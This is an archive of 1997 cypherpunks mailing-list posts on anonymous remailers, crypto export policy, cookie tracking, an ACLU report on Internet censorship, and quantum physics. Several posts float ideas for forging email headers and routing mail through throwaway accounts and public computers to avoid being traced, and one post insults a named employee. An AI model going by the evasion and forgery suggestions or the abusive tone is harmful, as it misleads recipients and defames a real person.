Forwarded message:

> Date: Thu, 7 Aug 1997 22:53:28 -0700
> From: Tim May 
> Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)

> >The Many Worlds Hypothesis was developed by David Bohm and is an alternate
> >way of looking at the Uncertaintly Principle, which gets its origin from the
> >collapse of wave functions used to describe the potential states of a wave.
> 
> I would give credit to Hugh Everett, a student of John Wheeler's, for
> developing this interpreation. In fact, the Many Worlds interpretation is
> also called the Everett-Wheeler-Graham Interpretation. This was back in
> 1956-7.

D. Bohm     Phys. Rev., 85, 166-193 (1952)

D. Bohm     Phys. Rev., 89, 458-466 (1953)

D. Bohm     Quantum Theory, Prentice-Hall, Englewood Cliffs, New Jersey,
1951

L. de Broglie, Electrons et Photons, Rapport au Ve Conseil Physique Solvay,
Gauthier-Viliars, Paris, 1930

H. Everett  Rev. Mod. Phys. 29, 454-462 (1957)

W. Pauli, in Reports on the 1927 Solvay Congress, Gauthiers-Villiars,
et Cie, Paris (1928), 280

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

From dlv at bwalk.dm.com  Fri Aug  8 00:37:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:37:47 +0800
Subject: Qualcomm employee attacks the remailers
In-Reply-To: <3.0.16.19691231190000.4a57c97e@pop.netaddress.com>
Message-ID: 

Casey Iverson  writes:

> At 10:37 PM 8/6/97 EDT, The Anti American, KGB loving  bucket of animal
> dung and human excrement :
>  Dr.Dimitri Vulis KOTM wrote the following, and again the master of
> disinformation and  harassing e-mail, points
> out that others are targeting him for the abuses that he is famous for.

Qualcomm employee Paul Pomes, who harrasses anonymous remailer operators
and complains to their employers and upstreams, deserves no mercy.

> Are we expected to have sympathy for this dick brain?

Pathological liar Paul Pomes deserves no sympathy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

From aba at dcs.ex.ac.uk  Fri Aug  8 00:37:56 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 8 Aug 1997 15:37:56 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: 
Message-ID: <199708080147.CAA00946@server.test.net>

Andy Dustman  writes:
> 
> Back to the subject: Disposable remailers. It seems the juno remailer
> software would be good for this. I'm not sure what the sign-up requirement
> are, but it's free. I was also thinking about web-based free mail
> services, such as Hotmail and Rocketmail. Receiving mail means having to
> parse some HTML, which from the looks of things is do-able but not
> trivial. Sending mail might be easier to implement.

Sending mail is your problem alright.  It's where you get hit by
spammers etc.

Wasn't there an email forgery web page around for a while.  The idea
was that you filled in the details of who you wanted to send to, what
address you wanted it to appear you had sent it from, and paste your
message in this form box.  It did some kind of crude sendmail forgery
for you.

> Which brings up an interesting idea for an exitman/middleman remailer: Use
> a nym or commercial ISP to receive the mail, use throwaway free mail
> accounts for delivery (maybe even just plaintext delivery). Hotmail, at
> least, inserts an X-Originating-IP:  header, though.  

No problem -- run it through www.anonymizer.com first :-)

> I expect others do the same. So put your remailer output on a ZIP
> disk or floppy and run your delivery on whatever public or
> semi-public access machine you happen to get your hands on, once or
> twice a day.

You'd not want to use the same public access account regularly.

I think the connecting to the web based interface of one of those free
web gateways via www.anonymizer.com web based interface has potential.

However I wonder how long it will last...  I mean rocket mail or
whatever admins are going to get complaints like you do as a remailer
operator.

If it gets bad, they'll do what?  Not sure -- yank your account?  You
could get another one...

Turn the whole thing off?

Might last for a while.

Really we could do with some more general distributed solution to the
delivery problem.

Email forgeries seem like an interesting solution, either via an
exitman remailer which is basically just an email forging service, or
perhaps we could add capability "forger" to the remailer code.

How much trouble can you get in with ISPs for forging email?  Do they
care?  Would wide-spread practice of forging to avoid getting spammed
in USENET would cover you well enough?  How much extra security would
it give you?  Probably quite a lot -- the sorts of person who gets
spam baited is clueless almost by definition, and won't have a clue
where the mail came from.  Unless they enlist some technical help,
they'll be forced to just discard the email.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0

---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 22:18:06 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: Fahrenheit 451.2: Is Cyberspace Burning? -- ACLU on labeling

----

http://www.aclu.org/issues/cyber/burning.html

                               Cyber-Liberties

                             Fahrenheit 451.2:
                           Is Cyberspace Burning?

                     How Rating and Blocking Proposals
                   May Torch Free Speech on the Internet

     Executive Summary
     Introduction
     Is Cyberspace Burning?
     Free Speech Online: A Victory Under Siege
     Rethinking the Rush to Rate
     Recommendations and Principles
     Six Reasons Why Self-Rating Schemes Are Wrong
     Is Third-Party Rating the Answer?
     The Problems With User-Based Blocking Software in the Home 
     Why Blocking Software Should Not Be Used by Public Libraries
     Conclusion
     Appendix: Internet Ratings Systems  How Do They Work?

       ______________________________________________________________

     Fahrenheit 451.2: Is Cyberspace Burning?
     How Rating and Blocking Proposals May Torch Free Speech on the
     Internet 

    Executive Summary

     In the landmark case Reno v. ACLU, the Supreme Court overturned the
     Communications Decency Act, declaring that the Internet deserves
     the same high level of free speech protection afforded to books and
     other printed matter.

     But today, all that we have achieved may now be lost, if not in the
     bright flames of censorship then in the dense smoke of the many
     ratings and blocking schemes promoted by some of the very people
     who fought for freedom.

     The ACLU and others in the cyber-liberties community were genuinely
     alarmed by the tenor of a recent White House summit meeting on
     Internet censorship at which industry leaders pledged to create a
     variety of schemes to regulate and block controversial online
     speech.

     But it was not any one proposal or announcement that caused our
     alarm; rather, it was the failure to examine the longer-term
     implications for the Internet of rating and blocking schemes.

     The White House meeting was clearly the first step away from the
     principle that protection of the electronic word is analogous to
     protection of the printed word. Despite the Supreme Court's strong
     rejection of a broadcast analogy for the Internet, government and
     industry leaders alike are now inching toward the dangerous and
     incorrect position that the Internet is like television, and should
     be rated and censored accordingly.

     Is Cyberspace burning? Not yet, perhaps. But where there's smoke,
     there's fire.

[...]

    Conclusion

     The ACLU has always favored providing Internet users, especially
     parents, with more information. We welcomed, for example, the
     American Library Association's announcement at the White House
     summit of The Librarian's Guide to Cyberspace for Parents and Kids,
     a "comprehensive brochure and Web site combining Internet
     terminology, safety tips, site selection advice and more than 50 of
     the most educational and entertaining sites available for children
     on the Internet."

     In Reno v. ACLU, we noted that Federal and state governments are
     already vigorously enforcing existing obscenity, child pornography,
     and child solicitation laws on the Internet. In addition, Internet
     users must affirmatively seek out speech on the Internet; no one is
     caught by surprise.

     In fact, many speakers on the Net provide preliminary information
     about the nature of their speech. The ACLU's site on America
     Online, for example, has a message on its home page announcing that
     the site is a "free speech zone." Many sites offering commercial
     transactions on the Net contain warnings concerning the security of
     Net information. Sites containing sexually explicit material often
     begin with a statement describing the adult nature of the material.
     Chat rooms and newsgroups have names that describe the subject
     being discussed. Even individual e-mail messages contain a subject
     line.

     The preliminary information available on the Internet has several
     important components that distinguish it from all the ratings
     systems discussed above: (1) it is created and provided by the
     speaker; (2) it helps the user decide whether to read any further;
     (3) speakers who choose not to provide such information are not
     penalized; (4) it does not result in the automatic blocking of
     speech by an entity other than the speaker or reader before the
     speech has ever been viewed. Thus, the very nature of the Internet
     reveals why more speech is always a better solution than censorship
     for dealing with speech that someone may find objectionable.

     It is not too late for the Internet community to slowly and
     carefully examine these proposals and to reject those that will
     transform the Internet from a true marketplace of ideas into just
     another mainstream, lifeless medium with content no more exciting
     or diverse than that of television.

     Civil libertarians, human rights organizations, librarians and
     Internet users, speakers and providers all joined together to
     defeat the CDA. We achieved a stunning victory, establishing a
     legal framework that affords the Internet the highest
     constitutional protection. We put a quick end to a fire that was
     all but visible and threatening. The fire next time may be more
     difficult to detect  and extinguish.
[...]
    Credits

     The principal authors of this white paper are Ann Beeson and Chris
     Hansen of the ACLU Legal Department and ACLU Associate Director
     Barry Steinhardt. Additional editorial contributions were provided
     by Marjorie Heins of the Legal Department, and Emily Whitfield of
     the Public Education Department. This report was prepared by the
     ACLU Public Education Department: Loren Siegel, Director; Rozella
     Floranz Kennedy, Editorial Manager; Ronald Cianfaglione, Designer.

             Copyright 1997, The American Civil Liberties Union

From andy at CCMSD.chem.uga.edu  Fri Aug  8 00:38:18 1997
From: andy at CCMSD.chem.uga.edu (Andy Dustman)
Date: Fri, 8 Aug 1997 15:38:18 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708072250.XAA05978@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Adam Back wrote:

> Wasn't there for a time a hidden middleman.  That is a middleman
> remailer who's published address was a nym account on a nymserver?
> That'd be a "hidden middleman".

There's some now. medusa at squirrel.owl.de is one.  middleman at cyberpass.net
(reno) might be another (not sure the account is anonymous, but could be).

> Dimitri suggested on cypherpunks in the last round of discussion of
> this sort of thing another variation on that -- that you could deliver
> the mail if the person had a PGP public key on the keyservers --
> whether the email was encrypted or not.  On the assumption that people
> who use PGP would be unlikley to complain of anonymous mail.

The only problem with that is the denial-of-service attack you describe
below. I figure if it's already encrypted, delivery is likely to be
welcomed rather than irritating.

> He also suggested beefing up keyserver submission checks (there are
> none right now) so that you need a replyable address to submit a key,
> otherwise the remailer-baiter just posts a key generated with their
> "victim's" email address on it prior to sending to them.

Yeah, I had in mind some kind of magic cookie exchange using the submitted
key. Once the cookie gets returned, the keyserver signs the key with a
special signing key which certifies that the key has at least passed the
"cookie exchange" test. The remailer I was working on (I say "was" because
I just have been too darn busy to finish it) would have implemented that
very thing. It's essentially the same thing the nymservers do when
configured to confirm reply blocks, which they always are. 

Back to the subject: Disposable remailers. It seems the juno remailer
software would be good for this. I'm not sure what the sign-up requirement
are, but it's free. I was also thinking about web-based free mail
services, such as Hotmail and Rocketmail. Receiving mail means having to
parse some HTML, which from the looks of things is do-able but not
trivial. Sending mail might be easier to implement.

Which brings up an interesting idea for an exitman/middleman remailer: Use
a nym or commercial ISP to receive the mail, use throwaway free mail
accounts for delivery (maybe even just plaintext delivery). Hotmail, at
least, inserts an X-Originating-IP:  header, though.  I expect others do
the same. So put your remailer output on a ZIP disk or floppy and run your
delivery on whatever public or semi-public access machine you happen to
get your hands on, once or twice a day.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy at CCMSD.chem.uga.edu      <}+++<

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQEPAwUBM+pqRBOPBZTHLz8dAQHyvAfPddrITrYKYCB7gmWuMyJxwWkCi+8oaZPZ
Q3EMlQ2+Jfhw0gSHKYwfVHok6ttU5pGy3epwVBXSYAfs5Tge++3q2ZmoUAPuLRgx
1jv3akJnNrgnxTXVRNdrJDRs3rK1/5Xz7+GunK/zbdyicjxBJzVNaJL17i1R/Xr+
/r36YiBcueQBaEdJI3uqF08rj/63CFVuX5n6lun0cBvPxNK2wJ0WBknQeZsPHAjQ
jbzu0hAkWZ1WYXLtLanzbn7TQrgMkMnVoRvu6JSdtxYEywd2aYhS/F1N6SKk6FiE
DVEnoPRE42U/utHrEX30heLrSbD/fbwTruR1f1H4lTWMOg==
=en6+
-----END PGP SIGNATURE-----

From mclow at owl.csusm.edu  Fri Aug  8 00:38:50 1997
From: mclow at owl.csusm.edu (Marshall Clow)
Date: Fri, 8 Aug 1997 15:38:50 +0800
Subject: Export Tax vs ITAR as a compromise ...
In-Reply-To: <199708072032.NAA20409@ohio.chromatic.com>
Message-ID: 

>How about this as a political compromise ...
>
>1.  Allow any export of crypto.
>
>2.  Tax crypto exports heavily, say 25% or something
>    like that, unless key recovery (or some other
>    GAK-ish feature) is part of the product.  For
>    instance, structuring the taxes so that ...
>
>        GAK-only     products get taxed   0%
>        GAK-optional products get taxed  20%
>        non-GAK      products get taxed  25%
>
If this were in force, and I were someone like, say, PGP,
I would export a single copy of my program to a confederate
overseas who would then duplicate it and sell it abroad,
sending royalty payments back to me.

25% of $50 is um... $12.50.

Lots of revenue there.

-- Marshall

Marshall Clow     Aladdin Systems   

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997

From jya at pipeline.com  Fri Aug  8 00:38:56 1997
From: jya at pipeline.com (John Young)
Date: Fri, 8 Aug 1997 15:38:56 +0800
Subject: Shor's Algorithms: Mad, Bad and Dangerous
Message-ID: <1.5.4.32.19970808011215.00738ee8@pop.pipeline.com>

>From a WSJ nook review today of "The Fabirc of Reality,"
by David Deutsch (Allan lane, 390 pp., $29.95):

  Using something called "Shor's algorithm," a quantum
  computer can factor giant numbers and thereby break
  secret codes that no conventional computer could touch.

  The only way it could do this, Mr Deutsch argues, is by
  distributing its operations over many parallel universes.
  "To those who cling to a single-universe world-view,"
  he writes with evident asperity," I issue the challenge:
  *explain how Shor's algorithms works.*"

  Combining the many-universes notion with quantum probablity,
  and adding elements of Darwinism and Karl Popper's theory
  of knowledge, Mr. Deutsch apsires to nothing less than a
  complete understanding of "the fabric of reality." Arrogant
  in tone and marred by leaps of logic, his book nonetheless
  bristles with subversive insights about virutal reality,
  time travel, mathematical certainty and free will. 
  Intellectually speaking, Mr. Deutsch is mad, bad and 
  dangerous to know.

From anon at anon.efga.org  Fri Aug  8 00:40:06 1997
From: anon at anon.efga.org (Anonymous)
Date: Fri, 8 Aug 1997 15:40:06 +0800
Subject: TEST [Ignore]
Message-ID: 

test

From andy at CCMSD.chem.uga.edu  Fri Aug  8 00:40:53 1997
From: andy at CCMSD.chem.uga.edu (Andy Dustman)
Date: Fri, 8 Aug 1997 15:40:53 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708080147.CAA00946@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Adam Back wrote:

> Andy Dustman  writes:
> > 
> > Back to the subject: Disposable remailers. It seems the juno remailer
> > software would be good for this. I'm not sure what the sign-up requirement
> > are, but it's free. I was also thinking about web-based free mail
> > services, such as Hotmail and Rocketmail. Receiving mail means having to
> > parse some HTML, which from the looks of things is do-able but not
> > trivial. Sending mail might be easier to implement.
> 
> Sending mail is your problem alright.  It's where you get hit by
> spammers etc.

Ah, but if you only send through the disposable address, who cares? The
actually remailer address should never get seen (except on remailer lists,
of course). You could probably get away with never reading any incoming
mail, so spammers are not a problem.

> Wasn't there an email forgery web page around for a while.  The idea
> was that you filled in the details of who you wanted to send to, what
> address you wanted it to appear you had sent it from, and paste your
> message in this form box.  It did some kind of crude sendmail forgery
> for you.

Hmmm. Someone has recently been forging mail to appear to be from cracker
through something like this (very bad forgery, headers are all wrong).

> > Which brings up an interesting idea for an exitman/middleman remailer: Use
> > a nym or commercial ISP to receive the mail, use throwaway free mail
> > accounts for delivery (maybe even just plaintext delivery). Hotmail, at
> > least, inserts an X-Originating-IP:  header, though.  
> 
> No problem -- run it through www.anonymizer.com first :-)

Sure, Lance won't mind, right? At least, not if we subscribe... ;) Maybe
we need a network of anonymizing web proxy servers... 

> > I expect others do the same. So put your remailer output on a ZIP
> > disk or floppy and run your delivery on whatever public or
> > semi-public access machine you happen to get your hands on, once or
> > twice a day.
> 
> You'd not want to use the same public access account regularly.

I'm not thinking of an account so much as maybe a PC in a university
computer cluster. Pick one and go. At a big university there should be
several clusters around campus.

> I think the connecting to the web based interface of one of those free
> web gateways via www.anonymizer.com web based interface has potential.

It does, but I know The Anonymizer blocks some sites, at their request.

> How much trouble can you get in with ISPs for forging email?  Do they
> care?

Mindspring cares. My ISP was absorbed by them about two weeks after I
signed up. They say in their terms of service that impersonating someone
else is forbidden, but they specifically allow the use of anonymous
remailers and nicknames. I assume this means forging is frowned upon,
unless you are impersonating someone who doesn't exist, I guess.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy at CCMSD.chem.uga.edu      <}+++<

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From declan at pathfinder.com  Fri Aug  8 00:41:19 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 8 Aug 1997 15:41:19 +0800
Subject: Query on cookies
In-Reply-To: 
Message-ID: 

I believe this is what the folks at Netscape tried to eliminate in 4.0,
which I'm told features four cookie settings. One rejects "third party
cookies."

-Declan

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh  writes:
> 
> > Thanks for the help, folks. This is for an article on privacy I was
> > working on, and I found the info I needed. For instance, Netscape's
> > explanation of the protocol left me wondering about whether cookies from
> > acme.com could be requested by competitor.com.
> The answer is YES, although it requires a little work.
> 
> Suppose that you point your browser at http://www.A.com/index.html.
> 
> Suppose that file contains an .
> The CGI file displays a little picture, and also gets or sets a cookie.
> 
> Suppose you next browse http://www.C.com/index.html, and it too
> contains the same .  Since the cookie is "owned" by B.com,
> not A.com or C.com, the cgi file can track your movement from A.Com to
> B.Com.
> 
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 

From frissell at panix.com  Fri Aug  8 00:44:12 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 8 Aug 1997 15:44:12 +0800
Subject: Clinton's threat of line-item veto affect crypto bill?
In-Reply-To: <3.0.32.19970807082355.00708b40@best.com>
Message-ID: <3.0.2.32.19970807195514.037903ac@panix.com>

-----BEGIN PGP SIGNED MESSAGE-----

At 01:34 PM 8/7/97 -0700, geeman at best.com wrote:
>Read my earlier post re: this.  Clinton already said he'd veto SAFE.

Yes, "Fighting Bill" Clinton may be the one who saves us from outlawing 
crypto used in the course of a crime.  Then when the courts throw the export 
ban out...

DCF
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From jsmith58 at hotmail.com  Fri Aug  8 00:47:09 1997
From: jsmith58 at hotmail.com (John Smith)
Date: Fri, 8 Aug 1997 15:47:09 +0800
Subject: Exit Remailer Suggestion
Message-ID: <19970807233007.6487.qmail@hotmail.com>

ACTIVE

Maybe your remailing software could connect to a URL like this and
imitate the action of typing in mail.  But it might have to login
first.  Hotmail asks you to log out if you don't plan to use the
system any more for a while.  So it seems like it keeps some kind of
record of who is logged in.

A good project would be to make an exit remailer whose only job was
to choose from a random list of hotmail accounts and redirect mail.
It wouldn't have to have a lot of complicated cryptography, it would
just be for the last step.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From tcmay at got.net  Fri Aug  8 00:47:45 1997
From: tcmay at got.net (Tim May)
Date: Fri, 8 Aug 1997 15:47:45 +0800
Subject: anti-spam law implies laws against remailers? (was Re: bulkpostage fine)
In-Reply-To: <19970806075802.12530@bywater.songbird.com>
Message-ID: 

At 10:05 AM -0700 8/6/97, Adam Back wrote:

>2) When the government or whoever wants to sue someone for spam they
>   will have to prove who the spammer is.  (Right?)  So now they'll
>   look at the From address at it will say remailer at foo.com.  So
>   they'll go have a chat to Fred Q Cypherpunk who operates foo, and he
>   won't be able to cooperate because he doesn't keep logs.  They won't
>   be happy with Fred, and will pass this information along to him by
>   stealing his equipment, prosecuting him for assisting in a felony
>   crime (they'll make it a felony right?), lock him and throw away
>   the key.  But what about Freds constitutional protection of the
>   speech forwarded by his remailer?  (Judge + congress-critter:
>   Constitution wassat?)

Delivery services are not held liable for the contents of the packages they
deliver, generally. (If they are parties to the crime, natch. And some say
they can be compelled to assist in law enforcement activities.)

Nor are delivery services required to "know their customer" or to have
ironclad proof of where a package originated. (Hell, even the U.S. Postal
Service allows mail with no valid return address, and this was my
experience in Europe as well.)

The "From:" field in e-mail is not to be confused with the "originator"
(whatever that may be).

Not even the U.S. courts are so dumb as to accept the claim that a package
delivered by the U.S. Postal Servie or by UPS means that Joe Deliveryman is
the "sender."

When this "From:" thing eventually gets to a court, I expect this
distinction will be obvious to all.

Remailers are just middlemen in a delivery process.

(Further protection in the U.S. comes from the ECPA, of course, which
explicitly makes it illegal for a middleman to examine e-mail. How can they
screen e-mail for illegal words if they are forbidden to look?)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From rwright at adnetsol.com  Fri Aug  8 00:57:14 1997
From: rwright at adnetsol.com (Ross Wright)
Date: Fri, 8 Aug 1997 15:57:14 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free
Message-ID: <199708071951.MAA21851@adnetsol.adnetsol.com>

On or About  7 Aug 97 at 0:18, Dr.Dimitri Vulis KOTM wrote:

> ? the Platypus {aka David Formosa} 
> writes:
> 
> > > Once the offending articles are part of the spool on toher site,
> > > it's pointless for me to issue cancels.
> >
> > Not even to free up diskspace?
> 
> Correct.

For no reason whatsoever should you cancel a message you did not send 
yourself.

See:

http://www.npr.org/plweb-cgi/fastweb?getdoc+npr+npr+12142+2+wAAA+spam

NPR's Jim Zarroli reports that UUNet, the Internet service provider
whose billboards were blocked, condemned the action and called the
incidents "digital terrorism"

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795

From andy at CCMSD.chem.uga.edu  Fri Aug  8 00:57:29 1997
From: andy at CCMSD.chem.uga.edu (Andy Dustman)
Date: Fri, 8 Aug 1997 15:57:29 +0800
Subject: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708071945.UAA04602@server.test.net>
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Adam Back wrote:

> You know how middleman operators work...  they always, always send
> mail via another remailer and never deliver mail to a user.  (I'm not
> sure if they detect this by looking to see if the address is on the
> remailer list, or just always add an extra hop?)

I think by definition a middleman always chains through one or more
additional remailers. When I ran dustbin, it was a "smart middleman",
i.e., if the recipient was a known remailer, it wouldn't bother to chain
(remailers rarely complain), otherwise it would chain through a single
remailer. I have a procmail script which does this as well using mixmaster
only (some definitions are missing here): 

# Smart middle. If not to another remailer, send it through a random mixmaster.
# Mixmaster 2.0.3 compatible.

:0 f
* MIDDLE ?? (on|yes)
*! ? grep "$TO" $RLIST $TYPE2
| formail -bf -I"From:" -I"To:" -I"Comments:" -IMessage-ID: \
        | $MIXPATH/mixmaster -f -to $TO -l 0 

# We made it this far, so send out the mail.

:0
| $SENDMAIL $SENDMAILFLAGS 

An even smarter middleman would detect PGP messages and deliver those
directly to end recipients, since those people are unlikely to complain
about anonymous mail, and chain if the message was plaintext. The risk
involved with this type of middleman operation should be rather small.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy at CCMSD.chem.uga.edu      <}+++<

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From geeman at best.com  Fri Aug  8 00:57:51 1997
From: geeman at best.com (geeman at best.com)
Date: Fri, 8 Aug 1997 15:57:51 +0800
Subject: Commerce/Reinsch: Encryption's in the Federal Spotlight
Message-ID: <3.0.32.19691231160000.00713978@best.com>

>Encryption's In The Federal Spotlight
>(08/05/97; 9:00 a.m. EDT)
>By Darryl K. Taft, Computer Reseller News
>
>WASHINGTON -- President Clinton is determined to push electronic
>commerce forward, but when it comes to encryption, some safeguards need
>to remain in place because of law enforcement and national security
>concerns, said William Reinsch, the U.S. Department of Commerce's
>undersecretary for export administration.
>
>Speaking at the National Computer Security Association's (NCSA)
>Electronic Commerce Security conference here, Reinsch reiterated that
>the
>president and U.S. policy favors an electronic marketplace that is not
>regulated by the government.
>
>"It's obvious our policies about encryption is a piece of the large
>puzzle that
>doesn't quite fit our definition of a free market," said Reinsch,
>adding, "The
>increased use of encryption carries with it serious risks for public
>safety and
>our national security. Any policy on encryption must address these risks
>as
>well if it is to be in the national interest. Our policy provides that
>balance by
>working in close consultation with the private sector and by working
>with the
>market, not against it."
>
>William Murray, an executive consultant with Deloitte & Touche,
>disagreed.
>Murray said the present government policy favors security and ease of
>investigation over crime prevention and "the lawless over the law
>abiding. I
>know of no criminals who are worried about the administration's
>policies, but
>my law-abiding clients are."
>
>Murray, who also spoke at the NCSA conference, said he believed the
>government's policy is "sowing so much fear, uncertainty and doubt that
>it is
>the single most incapacitating thing we have to deal with."
>
>Meanwhile, Reinsch outlined several areas where he said he felt the
>administration's policies regarding export control and key management
>are
>making a difference. Reinsch said new regulations creating a license
>exemption that allows recoverable encryption products of any strength
>and
>key length to be exported freely after a single review by the Department
>of
>Commerce, the Department of Justice and the Defense Departments.
>
>To encourage the development of recoverable encryption products, the
>government created a special two-year liberalization period during which
>companies may export 56-bit DES or equivalent products, provided they
>show that they are working to develop the key management infrastructure
>envisioned by the administration, Reinsch said.
>
>Perhaps the best gauge of industry response to the administration
>policies has
>been the flow of applications for exports, Reinsch said. In the seven
>months
>since the policy went into effect, the Commerce department received more
>than 100 license applications for exports, valued at more than $500
>million.
>In addition, Reinsch said 33 companies have submitted plans on how they
>will build key recovery products, and the Commerce department approved
>29 of them with more to come. "None have been rejected," Reinsch said,
>noting that he could only name the companies that have already announced
>their applications, such as Netscape Communications, IBM, Trusted
>Information Systems and Digital Equipment.
>
>Reinsch said the market continues to be confusing because "companies
>might
>say one thing in private with the government and then take a totally
>different
>position publicly." Murray said, "The government does the same thing."
>
>Moreover, Reinsch said industry concerns that foreign availability of
>encryption products appear to be exaggerated. "We do not yet see
>widespread foreign use of encryption," he said. "We've discovered that
>every
>country is going through the same issues we are." 
>
>
>

From hua at chromatic.com  Fri Aug  8 00:57:56 1997
From: hua at chromatic.com (Ernest Hua)
Date: Fri, 8 Aug 1997 15:57:56 +0800
Subject: Export Tax vs ITAR as a compromise ...
Message-ID: <199708072032.NAA20409@ohio.chromatic.com>

How about this as a political compromise ...

1.  Allow any export of crypto.

2.  Tax crypto exports heavily, say 25% or something
    like that, unless key recovery (or some other
    GAK-ish feature) is part of the product.  For
    instance, structuring the taxes so that ...

        GAK-only     products get taxed   0%
        GAK-optional products get taxed  20%
        non-GAK      products get taxed  25%

3.  Give this revenue upside to the FBI/CIA/NSA/NRO.

Internet commerce products alone would bring in shit
loads of revenue for these agencies.  And, as a
side-benefit for these agencies, many companies will
opted for GAK just for export tax reasons.

This, of course, will not please the crypto-purists,
but crypto is just one of many areas where the
government is feeling like it is losing control.  And
while that attitude is just infantile, we have to be
realistic about those very human people and very human
organizations who have a tough job to do.  As much as I
hate ITAR, I feel really bad for the NSA.

----

1.  Fundamentally, I only oppose ITAR on First
Amendment grounds: I should be able to write any
program I can type, and I should be able to give that
program out.  This is computer speech, but it sure is
speech.  Therefore, my personal interest is to perserve
that freedom.  (If I happen to write a book about
dangerous chemicals or explosives [write crypto code],
why should I be held criminally liable if a terrorist
buys my book [downloads my source code] or steals it
from a library [intercepts an E-Mail containing the
sources].)

2.  My guess is that the NSA has NOT really advanced
the state of the art of crypto much.  I suspect they
have capabilities that are maybe one or two orders of
magnitude (in terms of art, not pure bruteforce
resources) ahead of us common folks, but we can crank
up the computational complexity without a wink, and
then, they are just helpless.  One particular
rumoroid/factoid worth keeping in mind is that they
have succeeded in the past, not just by being smarter,
but also by dumbing-down everyone else.  Sooner or
later, that part of the strategy will no longer work.

3.  There is something to be said for controlling
export and import of products when the rest of the
world is not using a economic system quite like ours.
There is also something to be said for controlling
export of products that might reduce our national
strategic advantage (whatever that means).

Of course, there is also self-delusion, and, if I were
to assume the FBI/NSA is being completely honest,
self-delusion is what they seem to be falling back on.
I mean, REALLY now, if you can't control huge cabinets
of supercomputers (oops ... I guess they are just
desktop pizza boxes now, aren't they?), how are you
going to control bits?

Ern

From geeman at best.com  Fri Aug  8 00:58:59 1997
From: geeman at best.com (geeman at best.com)
Date: Fri, 8 Aug 1997 15:58:59 +0800
Subject: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <3.0.32.19970807082355.00708b40@best.com>

Read my earlier post re: this.  Clinton already said he'd veto SAFE.

At 10:00 AM 8/5/97 -0700, stewarts at ix.netcom.com wrote:
>
>At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>>Does anyone have any idea whether Clinton's threat of using the
>>line-item veto against portions of the big spending bill could
>>be leverage against some pro-SAFE legislators?
>
>The line item veto doesn't eliminate the political games in the budget,
>it just changes the details a bit.  Sure, he could threaten to
>veto their favorite pork-barrel projects for crossing him on crypto,
>just as he could threaten to veto them if they don't support
>his favorite pork.  But as someone else said, he can threaten to
>veto the crypto bill itself, or (perhaps worse) threaten to veto it
>unless it's "balanced", by including controls on domestic cryptography
>in return for letting Big Business export more products.
>
>
>#			Thanks;  Bill
